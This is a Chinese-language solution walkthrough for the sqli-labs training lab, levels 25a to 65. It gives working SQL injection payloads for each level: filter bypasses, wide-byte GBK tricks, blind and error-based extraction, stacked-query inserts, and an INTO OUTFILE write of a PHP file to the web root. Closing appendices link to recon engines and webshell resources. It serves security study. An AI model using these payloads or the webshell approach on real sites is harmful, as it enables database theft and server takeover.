探测的时候,不能用or 和 and
/sqlilabs/Less-25a/?id=1000 || 1=1 -- -
/sqlilabs/Less-25a/?id=1000 union select 1,database(),3 limit 0,1 -- -
===
/sqlilabs/Less-26/
看代码中,程序把很多敏感字符都替换掉了,包括注释,空白,这里要使用tab来代替空白
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
payload:
/sqlilabs/Less-26/?id=1000' || substr(database(),1,1)='s' ||'
=======
/sqlilabs/Less-26a
看代码,这个题目和Less-26差不多,只是sql语句中增加了小括号
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
需要把单引号和小括号闭合
payload:
http://localhost/sqlilabs/Less-26a/?id=-1') ||substr(database(),1,1)='s' ||('
===
/sqlilabs/Less-27
看代码,把大部分关键字都过滤了
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out select
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
payload:空白用tab代替
/sqlilabs/Less-27/?id=-1' ||extractvalue(1,concat(1,database()))||'
========
/sqlilabs/Less-27a
看代码,把id加上了双引号
$id = '"' .$id. '"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
还过滤了很多的关键字符,但是没有过滤回车符号
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out Select
payload:(注意%0a是换行符的url编码)
/sqlilabs/Less-27a/?id=1110"/*%0a*/UnIoN/*%0a*/SeLeCt/*%0a*/1,database(),2/*%0a*/||/*%0a*/'1'="1
========
/sqlilabs/Less-28
看代码:id有单引号,还有括号匹配
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
另外正则表达式替换了union 后面 跟着select的这种搭配
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
//$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out UNION & SELECT.
注入的payload:还是使用换行符%0a来避免空格被替换,并且使用了union all,避免union后跟着select被替换掉的风险。
/sqlilabs/Less-28/?id=0') union/*%0a*/all/*%0a*/select/*%0a*/1,database(),2/*%0a*/from /*%0a*/dual /*%0a*/where/*%0a*/1=1/*%0a*/or/*%0a*/(1='1
=========
/sqlilabs/Less-28a
这个题目跟Less-28一样:
payload:
/sqlilabs/Less-28a/?id=0') union/*%0a*/all/*%0a*/select/*%0a*/1,database(),2/*%0a*/from /*%0a*/dual /*%0a*/where/*%0a*/1=1/*%0a*/or/*%0a*/(1='1
==========
/sqlilabs/Less-29
payload:
/sqlilabs/Less-29/?id=1' and extractvalue(1,concat(1,database())) --+
========
/sqlilabs/Less-30
payload:
时间盲注探测数据库名字长度
/sqlilabs/Less-30/?id=1" and if(length(database())=8,sleep(3),1) --+
时间盲注爆破数据库名称第一个字符
/sqlilabs/Less-30/?id=1" and if(substr(database(),1,1)='s',sleep(3),1) --+
==============
/sqlilabs/Less-31
探测注入点:
/sqlilabs/Less-31/?id=1") and 2=("1 --+
布尔盲注探测数据库名字长度
/sqlilabs/Less-31/?id=1") and length(database())=("8 --+
布尔盲注爆破数据库名字的第一个字符
/sqlilabs/Less-31/?id=1") and substr(database(),1,1)='s' or (" --+
============
/sqlilabs/Less-32
宽字节注入:
查看代码发现数据库编码为GBK:
mysql_query("SET NAMES gbk");
探测注入点:
/sqlilabs/Less-32/?id=1%DF' and 1=1 --+
注入的payload:
/sqlilabs/Less-32/?id=1%DF' and extractvalue(1,concat(1,database())) --+
=============
/sqlilabs/Less-33/
查看代码发现数据库设置是GBK编码:考虑用宽字节注入绕过addslashes函数
探测注入点:
/sqlilabs/Less-33/?id=1%DF' and 1=1 --+
注入的payload:
/sqlilabs/Less-33/?id=1%DF' and extractvalue(1,concat(1,database())) --+
===========
/sqlilabs/Less-34/
本题需要使用POST提交,另外,本题目也是用宽字节注入,注意Post提交的时候,会把我们输入的%再次编码,所以需要使用burp拦截住请求,然后把post请求的数据自己修改一下,把%25要改掉,这个是post请求时,自己把%做的编码操作:
探测的payload:
uname=Dumb%DF' or 1=1-- -&passwd=aaa&submit=Submit
注入的payload:
uname=Dumb%DF' and extractvalue(1,concat(1,database()))-- -&passwd=aaa&submit=Submit
============
/sqlilabs/Less-35/
1、先通过id单引号或者双引号,判断是字符还是数字
2、然后是用union来判断列的个数
使用下面的payload来获取数据库名称
3、?id=-1 union select 1,2,database()--+
4、获取表名称,注意【'security'的单引号也会导致注入报错,可以直接进行十六进制编码,或者使用database()】
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479--+
5、获取字段名:注意:【'user'的单引号导致注入报错,可以直接进行十六进制编码】
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+
6、获取数据
?id=-1 union select 1,2,group_concat(username,password) from security.users--+
===============
/sqlilabs/Less-36/
一般来说想绕过add_slashes,或者mysql_real_escape_string,因为这两个都是会对单引号增加反斜线的
都可以考虑用宽字节来注入
1、先通过id单引号或者双引号,判断是字符还是数字
2、然后是用union来判断列的个数
3、使用下面的payload来获取数据库名称
?id=-1%df' union select 1,2,database()-- +
其他步骤可以参考Less-35了。
===============
/sqlilabs/Less-37/
1、可以使用bp拦截请求,并且把参数改为如下:通过报错回显来获取数据库名称
uname=a&passwd=b%df' or updatexml(1,concat(0x7e,(select database()),0x7e),1)-- +&submit=Submit
2、获取表名,列名可以参考Less-35
===============
/sqlilabs/Less-38/
使用下面的payload没有回显
?id=-1 or 1=1 -- -
但是用下面的payload有回显,说明是id字段值单引号
?id=-1' or 1=1 -- -
使用下面的payload可以获取数据库名称
?id=-1' union select 1,2,database()-- +
===============
/sqlilabs/Less-39
这一关存在堆叠注入(需要看代码才知道因为代码有mysqli_multi_query这个函数,造成了堆叠注入,这个函数可以执行多条sql语句)
可以使用如下payload来向数据库写入记录
?id=1';insert into users (username,password) values('22','22');%23
另外这一关还可以直接使用union获取数据库
?id=-1 union select 1,2,database()-- +
===============
/sqlilabs/Less-40
探测是否是双引号闭合,结果不是,因为有回显
?id=1"
探测是否单引号闭合,发现没有回显
?id=1' or 1=1 -- -
再探测一下,是使用单引号和括号闭合的
?id=1') or 1=1 -- -
这一关可以用堆叠注入,payload如下:
?id=1');insert into users (username,password) values('33','33');%23
还可以使用union获取数据库名,payload如下:
?id=-1') union select 1,2,database()-- +
===============
/sqlilabs/Less-41
先探测有几列,payload如下:
?id=1 order by 3-- -
再来获取数据库,payload如下:
?id=1 union select 1,2,database() limit 1,1-- --
===============
/sqlilabs/Less-42
使用burp拦截登录请求,修改一下password的内容
login_user=222&login_password=23' or 1=1 -- - &mysubmit=Login
发现可以登录成功,那说明密码这里可以注入
把参数再修改一下,可以回显数据库名称
login_user=admin&login_password=12' union select 1,database(),3 &mysubmit=Login
===============
/sqlilabs/Less-43
使用burp拦截登录请求,修改一下password的内容,发现报错sql语法有问题
login_user=w&login_password=ew' or 1=1-- -&mysubmit=Login
把上面的密码参数的值增加一个右括号试试,发现登录成功,回显了用户名
login_user=w&login_password=ew') or 1=1-- -&mysubmit=Login
进一步修改登录语句,这次前端页面回显了数据库名称,至于这里为什么union后面的select有三列,可以使用多个列,尝试,一直到不报错位置
login_user=w&login_password=ew') union select 1,database(),3 -- -&mysubmit=Login
===============
/sqlilabs/Less-44
本题步骤很Less43相同,payload为
login_user=3&login_password=223' union select 1,database(),3#&mysubmit=Login
===============
/sqlilabs/Less-45
本题步骤很Less44相同,只是密码的值要加上右括号,payload为
login_user=21&login_password=111') union select 1,database(),3#&mysubmit=Login
===============
/sqlilabs/Less-46
这一关的参数名字是sort,参数值只能是1,2,3中的一个,应该是把users表查询的结果根据三个列中的任何一个排序
/sqlilabs/Less-46?sort=3 //这是把查询结果根据第三列排序的意思,所以应该是把输入的这个值放在了order by的后面 例如select * from users order by ${sort}
可以先用这种payload验证一下,看是不是按照第三列降序排列
?sort=3 desc
上一步判断确实可以排序的话,那么使用下满的payload报错注入试试看,可以回显数据库名称到页面上
/sqlilabs/Less-46?sort=3 and extractvalue(1,concat(1,database()))
另外这关还可以尝试getshell【前提是需要mysql中配置了可以写任意目录,而且可以对提供的目录有些权限】,其中3c3f70687020706870696e666f28293b3f3e 是 <php phpinfo();> 的十六进制编码
?sort=1 into outfile "/opt/lampp/htdocs/secenvs/sqlilabs/Less-46/less46.php" lines terminated by 0x3c3f70687020706870696e666f28293b3f3e
然后马上访问来验证是否getshell成功,如果看到了phpinfo()的结果,说明成功了
/sqlilabs/Less-46/less46.php
===============
/sqlilabs/Less-47
这个题目跟Less-46差不多,只是sort的参数值用了单引号闭合,所以使用下面的payload:
?sort=1' and extractvalue(1,concat(1,database())) -- -
===============
/sqlilabs/Less-48
这个题目和Less-46差不多,但是,没有报错回显,所以可以考虑用时间忙组,payload如下:
?sort=111 and if(substr(database(),1,1)='s',1,sleep(1)
===============
/sqlilabs/Less-49
这个题目和Less-47相似,只是没有报错回显,需要使用时间盲注
?sort=1' and if(substr(database(),1,1)='s',1,sleep(1)) -- -
===============
/sqlilabs/Less-50
这一关和Less-46关一样,可以使用报错注入
?sort=3 and extractvalue(1,concat(1,database()))
另外,如果看代码,这里的代码用了mysqli_multi_query,还可以使用堆叠注入
插入一个新的用户
?sort=1;insert into users(username,password) values ('abc','world');
添加成功后,可以直接访问,会显示出添加到表中的用户信息
/sqlilabs/Less-50?sort=1
===============
/sqlilabs/Less-51
这一关和Less-50相似,只不过闭合方式是单引号
?sort=3' and extractvalue(1,concat(1,database())) -- -
===============
/sqlilabs/Less-52
这关和Less-50差不多,但是没有报错回显,所以使用时间盲注
?sort=1 and if(substr(database(),1,1)='s',1,sleep(1)) -- -
===============
/sqlilabs/Less-53
使用数字可以回显
?sort=1
使用数字加单引号,不能回显,应该是报错了,但是没有报错信息
?sort=1'
再使用双引号试试,能回显,说明不是双引号闭合的
?sort=1"
使用单引号闭合,并且把后面的都注释掉,可以回显数据,确定应该是单引号闭合
?sort=1' -- -
尝试用报错注入,但是没有错误回显
?sort=3' and extractvalue(1,concat(1,database())) -- -
再尝试用时间盲注,发现可以成功
?sort=1' and if(substr(database(),1,1)='s',1,sleep(1)) -- -
===============
/sqlilabs/Less-54
以下是具体步骤的payload:
1、?id=1 //有回显
2、?id=-1 //无回显
3、?id=-1 or 1=1//无回显,说明不是数字型
4、?id=-1' or 1=1 --+ //有回显,说明是字符型,而且是单引号闭合
5、?id=1' order by 3 --+ //有回显 说明有3列
6、?id=-1' union select 1,2,3--+ //有回显,查看字段回显位置
7、?id=-1' union select 1,(select group_concat(table_name) from
information_schema.tables where table_schema=database()),3--+ //有回显,直接显示表名,这里显示的是JB4WLOWUYQ但是每次刷新就会不一样
8、?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='JB4WLOWUYQ'),3--+ //有回显,直接显示列名,这里显示的是secret_3CSP但是每次刷新就会不一样
9、?id=-1' union select 1,(select group_concat(secret_3CSP) from JB4WLOWUYQ),3--+ //有回显,直接显示了key的值gGGPW1DhQkjieWuIAAK0nePQ
以上有的步骤可能一次无法尝试成功,比如第5部,那就刷新一次,下次就知道是有几列了,就可以省去很多步骤。
===============
/sqlilabs/Less-55
这一关和Less-54相似,主要是闭合方式不同,这里是小括号闭合的。
?id=-1) or 1=1 --+
后面的确定有几列也跟Less-55一样,包括获取表名,列名,以及最后的key,如下:
?id=-1) union select 1,(select group_concat(table_name) from
information_schema.tables where table_schema=database()),3--+
?id=-1) union select 1,(select group_concat(column_name) from information_schema.columns where table_name='MN2ZZDYSS9'),3--+
?id=-1) union select 1,(select group_concat(secret_CEZE) from MN2ZZDYSS9),3--+
注意这里的table_name以及key所在的column名字每次刷新会变化的,不能用我这个答案里的
===============
/sqlilabs/Less-56
这一关和Less-54相似,主要是闭合方式不同,这里是小括号和单引号闭合的。
?id=-1') or 1=1 --+
?id=-1') union select 1,(select group_concat(table_name) from
information_schema.tables where table_schema=database()),3--+
?id=-1') union select 1,(select group_concat(column_name) from information_schema.columns where table_name='K4IA79VC0H'),3--+
?id=-1') union select 1,(select group_concat(secret_ZIBK) from K4IA79VC0H),3--+
===============
/sqlilabs/Less-57
这一关和Less-54相似,主要是闭合方式不同,这里是双引号闭合的。
?id=-1" or 1=1 --+
?id=-1" union select 1,(select group_concat(table_name) from
information_schema.tables where table_schema=database()),3--+
?id=-1" union select 1,(select group_concat(column_name) from information_schema.columns where table_name='IOCXJNQN8E'),3--+
?id=-1" union select 1,(select group_concat(secret_UMR9) from IOCXJNQN8E),3--+
===============
/sqlilabs/Less-58
?id=-1 or 1=1 //这个尝试没有响应,说明 不是数字类型的
?id=-1' and extractvalue(1,concat(1,database())) -- - //这个尝试有报错,并且数据库名回显在页面上了
?id=-1' order by 4 -- - //报错,Unknown column '4' in 'order clause' ,说明只有3列
?id=-1' and extractvalue(1,concat(1,(select group_concat(table_name) from
information_schema.tables where table_schema=database()))) --+ //得到表名
?id=-1' and extractvalue(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_name='l5sptmg3ng'))) --+ //得到列名
?id=-1' and extractvalue(1,concat(1,(select group_concat(secret_316V) from l5sptmg3ng))) --+ //从表中获取key值
===============
/sqlilabs/Less-59
这关和Less-58相似,只是把闭合方式修改一下,是数字型的
?id=-1 and extractvalue(1,concat(1,(select group_concat(table_name) from
information_schema.tables where table_schema=database()))) --+ //得到表名
?id=-1 and extractvalue(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_name='x9az3649nr'))) --+ //得到列名
?id=-1 and extractvalue(1,concat(1,(select group_concat(secret_5213) from x9az3649nr))) --+ //从表中获取key值
===============
/sqlilabs/Less-60
这关和Less-58相似,只是把闭合方式修改一下,是用双引号和小括号
?id=-1") and extractvalue(1,concat(1,(select group_concat(table_name) from
information_schema.tables where table_schema=database()))) --+ //得到表名
?id=-1") and extractvalue(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_name='d4isglssg6'))) --+ //得到列名
?id=-1") and extractvalue(1,concat(1,(select group_concat(secret_HQQD) from d4isglssg6))) --+ //从表中获取key值
===============
/sqlilabs/Less-61
这关和Less-58相似,只是把闭合方式修改一下,是用单引号和两个小括号
?id=-1')) and extractvalue(1,concat(1,(select group_concat(table_name) from
information_schema.tables where table_schema=database()))) --+ //得到表名
?id=-1')) and extractvalue(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_name='uwksl2bxcc'))) --+ //得到列名
?id=-1')) and extractvalue(1,concat(1,(select group_concat(secret_8WAJ) from uwksl2bxcc))) --+ //从表中获取key值
===============
/sqlilabs/Less-62
/sqlilabs/Less-62/index.php?id=1') and 1=1 %23 => 正确
/sqlilabs/Less-62/index.php?id=1') and 1=2 %23 => 错误
2、盲注判断数据库名字长度(判断数据库名字应该可以省略,因为已经告知)
/sqlilabs/Less-62/?id=1') and length(database())=10 %23
3、判断字段个数
/sqlilabs/Less-62/?id=1') order by 3 %23
4、判断数据库名的长度
/sqlilabs/Less-62/?id=1') and length(database())=10 %23
5、爆数据库名的每一位字符(可以使用折半查找,毕竟限制次数)
/sqlilabs/Less-62/?id=1') and ascii(substr(database(),1,1))<100
6、爆当前数据库所有表的个数
/Less-62/index.php?id=1') and (select count(table_name) from information_schema.tables where table_schema=database())=1 %23
7、第一个表的长度(可以采取折半查找)
/sqlilabs/Less-62/?id=1') and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>5 %23
8、第一个表的每一个字符
/sqlilabs/Less-62/?id=1') and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=102 %23
9、爆第一个字段名的每一个字符:
/sqlilabs/Less-62/index.php?id=1') and ascii(mid((select column_name from information_schema.columns where table_name='frsvbg429a' limit 0,1),1,1))=105 %23
10、然后依次爆得第二、三、四个字段名
/sqlilabs/Less-62/index.php?id=1') and (select length(secret_BDFP) from frsvbg429a)=24 %23
11、爆破字段的值
/sqlilabs/Less-62/index.php?id=1') and ascii(mid((select secret_BDFP from frsvbg429a),1,1))=113 %23
==============
/sqlilabs/Less-63
和Less-62相似,闭合方式是单引号
?id=1'
==============
/sqlilabs/Less-64
和Less-62相似,闭合方式是两个小括号
?id=1))
=================
/sqlilabs/Less-65
和Less-62相似,闭合方式是单引号加上两个小括号
?id=1") and 1=1 -- - 有回显
?id=1") and 2=1 -- - 无回显
说明是双引号加上小括号闭合的
其他的跟Less-62相似
附件3:情报库
https://fofa.info/
https://www.zoomeye.org/
https://search.censys.io/
https://quake.360.net/
https://security.tencent.com/index.php
https://www.exploit-db.com/google-hacking-database
附件4:各种漏洞平台
https://cve.mitre.org/index.html
https://blog.csdn.net/weixin_42109829/article/details/126776969
https://blog.csdn.net/keylion_/article/details/104281273
附件5:一句话木马变形
https://baijiahao.baidu.com/s?id=1695910053618223684&wfr=spider&for=pc
附件6:PHP大马
https://blog.csdn.net/qq_53079406/article/details/125084768
- 感谢你赐予我前进的力量